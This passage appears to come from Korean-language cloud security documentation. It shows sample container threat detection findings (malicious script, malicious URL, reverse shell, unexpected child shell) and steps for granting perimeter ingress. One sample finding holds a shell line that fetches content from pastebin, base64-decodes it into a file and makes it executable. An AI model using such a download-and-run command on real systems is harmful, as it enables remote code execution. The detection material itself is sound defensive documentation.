      "Container_Name": "CONTAINER_NAME",
      "Parent_Pid": 1.0,
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Creation_Timestamp": {
        "seconds": 1.617989997E9,
        "nanos": 1.17396995E8
      },
      "Pid": 53.0,
      "Pod_Namespace": "default",
      "Process_Binary_Fullpath": "INTERPRETER",
      "Process_Arguments": ["INTERPRETER", "FILENAME"],
      "Pod_Name": "POD_NAME",
      "description": "A machine learning model using Natural Language Processing techniques identified an executed bash script as malicious.",
      "Script_Content": "(curl -fsSL https://pastebin.com||wget -q -O - https://pastebin.com)| tac | base64 -di | exit 0 | > x ; chmod 777 x ;",
      "Environment_Variables": ["KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT\u003d443", "HOSTNAME\u003dreconnect-
      test-4af235e12be6f9d9", "HOME\u003d/root",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "PATH\u003d/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443",
      "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "DEBIAN_FRONTEND\u003dnoninteractive",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS", "PWD\u003d/"],
      "Container_Creation_Timestamp": {
        "seconds": 1.617989918E9,
        "nanos": 0.0
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:39:57.527Z",
    "createTime": "2021-04-09T17:39:57.625Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Script_Content": {
        "primitiveDataType": "STRING"
      },
      "Script_Filename": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Script_SHA256": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}

악성 URL 관찰

    {
      "findings": {
        "access": {},
        "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
        "category": "Malicious URL Observed",
        "containers": [
          {
            "name": "CONTAINER_NAME",
            "uri": "CONTAINER_URI",
            "imageId": "CONTAINER_IMAGE_ID"
          }
        ],
        "createTime": "2022-09-14T21:35:46.209Z",
        "database": {},
        "description": "A malicious URL is observed in the container workload.",
        "eventTime": "2022-09-14T21:35:45.992Z",
        "exfiltration": {},
        "findingClass": "THREAT",
        "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
        "indicator": {
          "uris": [
            "testsafebrowsing.appspot.com/s/malware.html"
          ]
        },
        "kubernetes": {
          "pods": [
            {
              "ns": "default",
              "name": "CONTAINER_NAME",
              "containers": [
                {
                  "name": "CONTAINER_NAME",
                  "uri": "CONTAINER_URI",
                  "imageId": CONTAINER_IMAGE_ID"
                }
              ]
            }
          ]
        },
        "mitreAttack": {
          "primaryTactic": "COMMAND_AND_CONTROL",
          "primaryTechniques": [
            "INGRESS_TOOL_TRANSFER"
          ]
        },
        "mute": "UNDEFINED",
        "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
        "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
        "parentDisplayName": "Container Threat Detection",
        "processes": [
          {
            "binary": {
              "path": "\"/bin/echo\""
            },
            "script": {},
            "args": [
              "\"/bin/echo\"",
              "\"https://testsafebrowsing.appspot.com/s/malware.html\""
            ],
            "envVariables": [
              {
                "name": "\"PATH\"",
                "val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
              },
              {
                "name": "\"HOSTNAME\"",
                "val": "\"CONTAINER_NAME\""
              },
              {
                "name": "\"DEBIAN_FRONTEND\"",
                "val": "\"noninteractive\""
              },
              {
                "name": "\"LANG\"",
                "val": "\"C.UTF-8\""
              },
              {
                "name": "\"PYTHONUNBUFFERED\"",
                "val": "\"1\""
              },
              {
                "name": "\"PORT\"",
                "val": "\"8080\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
                "val": "\"IP_ADDRESS\""
              },
              {
                "name": "\"KUBERNETES_SERVICE_HOST\"",
                "val": "\"IP_ADDRESS\""
              },
              {
                "name": "\"KUBERNETES_SERVICE_PORT\"",
                "val": "\"443\""
              },
              {
                "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
                "val": "\"443\""
              },
              {
                "name": "\"KUBERNETES_PORT\"",
                "val": "\"tcp://IP_ADDRESS:443\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP\"",
                "val": "\"tcp://IP_ADDRESS:443\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
                "val": "\"tcp\""
              },
              {
                "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
                "val": "\"443\""
              },
              {
                "name": "\"HOME\"",
                "val": "\"/root\""
              }
            ],
            "pid": "1"
          }
        ],
        "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
        "severity": "MEDIUM",
        "sourceDisplayName": "Container Threat Detection",
        "state": "ACTIVE",
        "vulnerability": {},
        "workflowState": "NEW"
      },
      "resource": {
        "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
        "display_name": "CLUSTER_ID",
        "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
        "project_display_name": "PROJECT_ID",
        "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
        "parent_display_name": "PROJECT_ID",
        "type": "google.container.Cluster",
        "folders": []
      },
      "sourceProperties": {
        "Container_Image_Id": "CONTAINER_IMAGE_ID",
        "Pod_Namespace": "default",
        "Container_Name": "CONTAINER_NAME",
        "Process_Binary_Fullpath": "/bin/echo",
        "description": "A malicious URL is observed in the container workload.",
        "VM_Instance_Name": "VM_INSTANCE_NAME",
        "Pid": 1,
        "Process_Arguments": [
          "/bin/echo",
          "https://testsafebrowsing.appspot.com/s/malware.html"
        ],
        "Container_Image_Uri": "CONTAINER_IMAGE_URI",
        "Parent_Pid": 0,
        "Process_Creation_Timestamp": {
          "seconds": 1663191345,
          "nanos": 7717272
        },
        "Environment_Variables": [
          "PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
          "HOSTNAME=CONTAINER_NAME",
          "DEBIAN_FRONTEND=noninteractive",
          "LANG=C.UTF-8",
          "PYTHONUNBUFFERED=1",
          "PORT=8080",
          "KUBERNETES_PORT_443_TCP_ADDR=IP_ADDRESS",
          "KUBERNETES_SERVICE_HOST=IP_ADDRESS",
          "KUBERNETES_SERVICE_PORT=443",
          "KUBERNETES_SERVICE_PORT_HTTPS=443",
          "KUBERNETES_PORT=tcp://IP_ADDRESS:443",
          "KUBERNETES_PORT_443_TCP=tcp://IP_ADDRESS:443",
          "KUBERNETES_PORT_443_TCP_PROTO=tcp",
          "KUBERNETES_PORT_443_TCP_PORT=443",
          "HOME=/root"
        ],
        "Container_Creation_Timestamp": {
          "seconds": 1663191345,
          "nanos": 0
        },
        "Pod_Name": "CONTAINER_NAME"
      }
    }

역방향 셸

{
  "finding": {
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "state": "ACTIVE",
    "category": "Reverse Shell",
    "sourceProperties": {
      "Reverse_Shell_Stdin_Redirection_Src_Ip": "SOURCE_IP_ADDRESS",
      "Environment_Variables": ["HOSTNAME\u003dreverse-shell",
      "KUBERNETES_PORT\u003dtcp://IP_ADDRESS:PORT",
      "KUBERNETES_PORT_443_TCP_PORT\u003d443", "PYTHONUNBUFFERED\u003d1",
      "KUBERNETES_SERVICE_PORT\u003d443",
      "KUBERNETES_SERVICE_HOST\u003dIP_ADDRESS",
      "PATH\u003d/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/p
      ython3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
      , "PWD\u003d/home/vmagent/app", "LANG\u003dC.UTF-8", "SHLVL\u003d1",
      "HOME\u003d/root", "KUBERNETES_PORT_443_TCP_PROTO\u003dtcp",
      "KUBERNETES_SERVICE_PORT_HTTPS\u003d443",
      "DEBIAN_FRONTEND\u003dnoninteractive", "PORT\u003d8080",
      "KUBERNETES_PORT_443_TCP_ADDR\u003dIP_ADDRESS",
      "KUBERNETES_PORT_443_TCP\u003dtcp://IP_ADDRESS:PORT", "_\u003d/bin/echo"],
      "Container_Image_Uri": "CONTAINER_IMAGE_URI",
      "Process_Binary_Fullpath": "BINARY_PATH",
      "Container_Creation_Timestamp": {
        "seconds": 1.617989861E9,
        "nanos": 0.0
      },
      "Pod_Name": "POD_NAME",
      "Container_Name": "CONTAINER_NAME",
      "Process_Arguments": ["BINARY_PATH", "BINARY_NAME"],
      "Pid": 15.0,
      "Reverse_Shell_Stdin_Redirection_Dst_Port": DESTINATION_PORT,
      "Container_Image_Id": "CONTAINER_IMAGE_ID",
      "Reverse_Shell_Stdin_Redirection_Dst_Ip": "DESTINATION_IP_ADDRESS",
      "Pod_Namespace": "default",
      "VM_Instance_Name": "INSTANCE_ID",
      "Reverse_Shell_Stdin_Redirection_Src_Port": SOURCE_PORT,
      "description": "A process started with stream redirection to a remote
      connected socket. With a reverse shell, an attacker can communicate from a
      compromised workload to an attacker-controlled machine. The attacker can
      then command and control the workload to perform desired actions, for
      example as part of a botnet.",
      "Parent_Pid": 1.0,
      "Process_Creation_Timestamp": {
        "seconds": 1.61798989E9,
        "nanos": 6.16573691E8
      }
    },
    "securityMarks": {
      "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID/securityMarks"
    },
    "eventTime": "2021-04-09T17:38:10.904Z",
    "createTime": "2021-04-09T17:38:15.486Z",
    "propertyDataTypes": {
      "Container_Image_Id": {
        "primitiveDataType": "STRING"
      },
      "Container_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Pod_Namespace": {
        "primitiveDataType": "STRING"
      },
      "Environment_Variables": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Reverse_Shell_Stdin_Redirection_Dst_Ip": {
        "primitiveDataType": "STRING"
      },
      "description": {
        "primitiveDataType": "STRING"
      },
      "Process_Arguments": {
        "listValues": {
          "propertyDataTypes": [{
            "primitiveDataType": "STRING"
          }]
        }
      },
      "Pid": {
        "primitiveDataType": "NUMBER"
      },
      "Reverse_Shell_Stdin_Redirection_Src_Ip": {
        "primitiveDataType": "STRING"
      },
      "Container_Image_Uri": {
        "primitiveDataType": "STRING"
      },
      "Reverse_Shell_Stdin_Redirection_Dst_Port": {
        "primitiveDataType": "NUMBER"
      },
      "Pod_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Creation_Timestamp": {
        "dataType": "TIMESTAMP",
        "structValue": {
          "fields": {
            "seconds": {
              "primitiveDataType": "NUMBER"
            },
            "nanos": {
              "primitiveDataType": "NUMBER"
            }
          }
        }
      },
      "Reverse_Shell_Stdin_Redirection_Src_Port": {
        "primitiveDataType": "NUMBER"
      },
      "Parent_Pid": {
        "primitiveDataType": "NUMBER"
      },
      "VM_Instance_Name": {
        "primitiveDataType": "STRING"
      },
      "Container_Name": {
        "primitiveDataType": "STRING"
      },
      "Process_Binary_Fullpath": {
        "primitiveDataType": "STRING"
      }
    },
    "severity": "CRITICAL",
    "workflowState": "NEW",
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID"
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/ZONE/clusters/CLUSTER_ID",
    "projectName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "projectDisplayName": "PROJECT_ID",
    "parentName": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parentDisplayName": "PROJECT_ID",
    "type": "google.container.Cluster"
  }
}

예기치 않은 하위 셸

{
  "finding": {
    "access": {},
    "canonicalName": "projects/PROJECT_NUMBER/sources/SOURCE_ID/findings/FINDING_ID",
    "category": "Unexpected Child Shell",
    "cloudDlpDataProfile": {},
    "cloudDlpInspection": {},
    "containers": [
      {
        "name": "CONTAINER_NAME",
        "uri": "CONTAINER_URI",
        "imageId": "CONTAINER_IMAGE_ID"
      }
    ],
    "createTime": "2023-06-29T17:34:13.765Z",
    "database": {},
    "description": "A process should not normally create child shell processes, spawn a child shell process.",
    "eventTime": "2023-06-29T17:34:13.492Z",
    "exfiltration": {},
    "findingClass": "THREAT",
    "findingProviderId": "organizations/ORGANIZATION_ID/firstPartyFindingProviders/ktd",
    "indicator": {},
    "kernelRootkit": {},
    "kubernetes": {
      "pods": [
        {
          "ns": "default",
          "name": "CONTAINER_NAME",
          "containers": [
            {
              "name": "CONTAINER_NAME",
              "uri": "CONTAINER_URI",
              "imageId": CONTAINER_IMAGE_ID"
            }
          ]
        }
      ]
    },
    "mitreAttack": {
      "primaryTactic": "EXECUTION",
      "primaryTechniques": [
        "COMMAND_AND_SCRIPTING_INTERPRETER"
      ]
    },
    "name": "organizations/ORGANIZATION_ID/sources/SOURCE_ID/findings/FINDING_ID",
    "parent": "organizations/ORGANIZATION_ID/sources/SOURCE_ID",
    "parentDisplayName": "Container Threat Detection",
    "processes": [
      {
        "binary": {
          "path": "\"/home/vmagent/app/temp/dash\"",
          "size": "31376",
          "sha256": "31351885b07570f450f57bd19cf28ff4310b8774a1c2580c3c7c9e7336c8467e",
          "hashedSize": "31376",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"./temp/dash\""
        ],
        "argumentsTruncated": false,
        "envVariables": [
          {
            "name": "\"HOSTNAME\"",
            "val": "\"ktd-test-unexpected-child-shell-3f50de2ab54bac1b\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_PORT\"",
            "val": "\"tcp://10.52.113.1:443\""
          },
          {
            "name": "\"PYTHONUNBUFFERED\"",
            "val": "\"1\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT\"",
            "val": "\"443\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_HOST\"",
            "val": "\"10.52.113.1\""
          },
          {
            "name": "\"PATH\"",
            "val": "\"/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\""
          },
          {
            "name": "\"PWD\"",
            "val": "\"/home/vmagent/app\""
          },
          {
            "name": "\"LANG\"",
            "val": "\"C.UTF-8\""
          },
          {
            "name": "\"SHLVL\"",
            "val": "\"1\""
          },
          {
            "name": "\"HOME\"",
            "val": "\"/root\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_PROTO\"",
            "val": "\"tcp\""
          },
          {
            "name": "\"KUBERNETES_SERVICE_PORT_HTTPS\"",
            "val": "\"443\""
          },
          {
            "name": "\"DEBIAN_FRONTEND\"",
            "val": "\"noninteractive\""
          },
          {
            "name": "\"PORT\"",
            "val": "\"8080\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP_ADDR\"",
            "val": "\"10.52.113.1\""
          },
          {
            "name": "\"KUBERNETES_PORT_443_TCP\"",
            "val": "\"tcp://10.52.113.1:443\""
          },
          {
            "name": "\"_\"",
            "val": "\"./temp/dash\""
          }
        ],
        "pid": "15",
        "parentPid": "14"
      },
      {
        "binary": {
          "path": "\"/home/vmagent/app/temp/consul\"",
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "script": {
          "size": "0",
          "hashedSize": "0",
          "partiallyHashed": false
        },
        "args": [
          "\"./temp/consul\""
        ],
        "argumentsTruncated": false,
        "pid": "14",
        "parentPid": "13"
      }
    ],
    "resourceName": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "severity": "CRITICAL",
    "state": "ACTIVE",
    "vulnerability": {}
  },
  "resource": {
    "name": "//container.googleapis.com/projects/PROJECT_ID/zones/CLUSTER_ZONE/clusters/CLUSTER_ID",
    "display_name": "CLUSTER_ID",
    "project_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "project_display_name": "PROJECT_ID",
    "parent_name": "//cloudresourcemanager.googleapis.com/projects/PROJECT_NUMBER",
    "parent_display_name": "PROJECT_ID",
    "type": "google.container.Cluster",
    "folders": []
  },
  "sourceProperties": {
    "Process_Arguments": [
      "./temp/dash"
    ],
    "Pid": 15,
    "Process_Creation_Timestamp": {
      "seconds": 1688060050,
      "nanos": 207040864
    },
    "Container_Image_Uri": "CONTAINER_IMAGE_URI",
    "Process_Binary_Fullpath": "/home/vmagent/app/temp/dash",
    "VM_Instance_Name": "INSTANCE_ID",
    "Pod_Name": "POD_NAME",
    "Pod_Namespace": "default",
    "Container_Name": "CONTAINER_NAME",
    "Container_Image_Id": "CONTAINER_IMAGE_ID",
    "Container_Creation_Timestamp": {
      "seconds": 1688060050,
      "nanos": 0
    },
    "Parent_Pid": 14,
    "Environment_Variables": [
      "HOSTNAME=ktd-test-unexpected-child-shell-3f50de2ab54bac1b",
      "KUBERNETES_PORT_443_TCP_PORT=443",
      "KUBERNETES_PORT=tcp://10.52.113.1:443",
      "PYTHONUNBUFFERED=1",
      "KUBERNETES_SERVICE_PORT=443",
      "KUBERNETES_SERVICE_HOST=10.52.113.1",
      "PATH=/opt/python3.7/bin:/opt/python3.6/bin:/opt/python3.5/bin:/opt/python3.4/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
      "PWD=/home/vmagent/app",
      "LANG=C.UTF-8",
      "SHLVL=1",
      "HOME=/root",
      "KUBERNETES_PORT_443_TCP_PROTO=tcp",
      "KUBERNETES_SERVICE_PORT_HTTPS=443",
      "DEBIAN_FRONTEND=noninteractive",
      "PORT=8080",
      "KUBERNETES_PORT_443_TCP_ADDR=10.52.113.1",
      "KUBERNETES_PORT_443_TCP=tcp://10.52.113.1:443",
      "_=./temp/dash"
    ]
  }
}

서비스 경계로 보호되는 프로젝트 스캔

2023년 12월 7일 이후 조직 수준에서 Security Command Center를 활성화했으며 특정 프로젝트와 서비스에 대한 액세스를 차단하는 서비스 경계가 있는 경우 해당 서비스 경계에 대한 Container Threat Detection 인바운드 액세스 권한을 서비스 계정에 부여해야 합니다. 그렇지 않으면 Container Threat Detection에서 보호된 프로젝트 및 서비스와 관련된 발견 항목을 생성할 수 없습니다.

조직 수준 활성화의 경우 서비스 계정 식별자는 다음 형식의 이메일 주소입니다.

service-org-ORGANIZATION_ID@gcp-sa-ktd-hpsa.iam.gserviceaccount.com

앞의 예시에서 ORGANIZATION_ID를 조직의 숫자 식별자로 바꿉니다.

클러스터가 VPC 서비스 제어 서비스 경계 내에 있는 경우 Container Threat Detection API인 containerthreatdetection.googleapis.com이 액세스 가능한 서비스로 나열되어 있는지 확인합니다. 자세한 내용은 서비스 경계 개요를 참조하세요.

서비스 계정에 서비스 경계에 대한 인바운드 액세스 권한을 부여하려면 다음 단계를 수행합니다.

  1. VPC 서비스 제어로 이동합니다.

    VPC 서비스 제어로 이동

  2. 툴바에서 Google Cloud 조직을 선택합니다.

  3. 드롭다운 목록에서 액세스 권한을 부여할 서비스 경계가 포함된 액세스 정책을 선택합니다.

    액세스 정책 목록

    액세스 정책과 연결된 서비스 경계가 목록에 표시됩니다.

  4. 서비스 경계 이름을 클릭합니다.

  5. 경계 수정을 클릭합니다.

  6. 탐색 메뉴에서 인그레스 정책을 클릭합니다.

  7. 규칙 추가를 클릭합니다.

  8. 다음과 같이 규칙을 구성합니다.

    API 클라이언트의 FROM 속성

    1. 소스에 모든 소스를 선택합니다.
    2. ID에서 선택한 ID를 선택합니다.
    3. 사용자/서비스 계정 추가 필드에서 선택을 클릭합니다.
    4. 서비스 계정 이메일 주소를 입력합니다. 조직 수준 및 프로젝트 수준 서비스 계정이 모두 있는 경우 둘 다 추가합니다.
    5. 저장을 클릭합니다.

    GCP 서비스/리소스의 TO 속성

    1. 프로젝트에 모든 프로젝트를 선택합니다.

    2. 서비스에서 모든 서비스를 선택하거나 VPC 서비스 제어 위반이 표시되는 특정 서비스를 선택합니다.

    서비스 경계에서 필수 서비스에 대한 액세스를 제한하면 Container Threat Detection에서 해당 서비스에 대한 발견 항목을 생성할 수 없습니다.

  9. 탐색 메뉴에서 저장을 클릭합니다.

자세한 내용은 인그레스 및 이그레스 정책 구성을 참조하세요.

다음 단계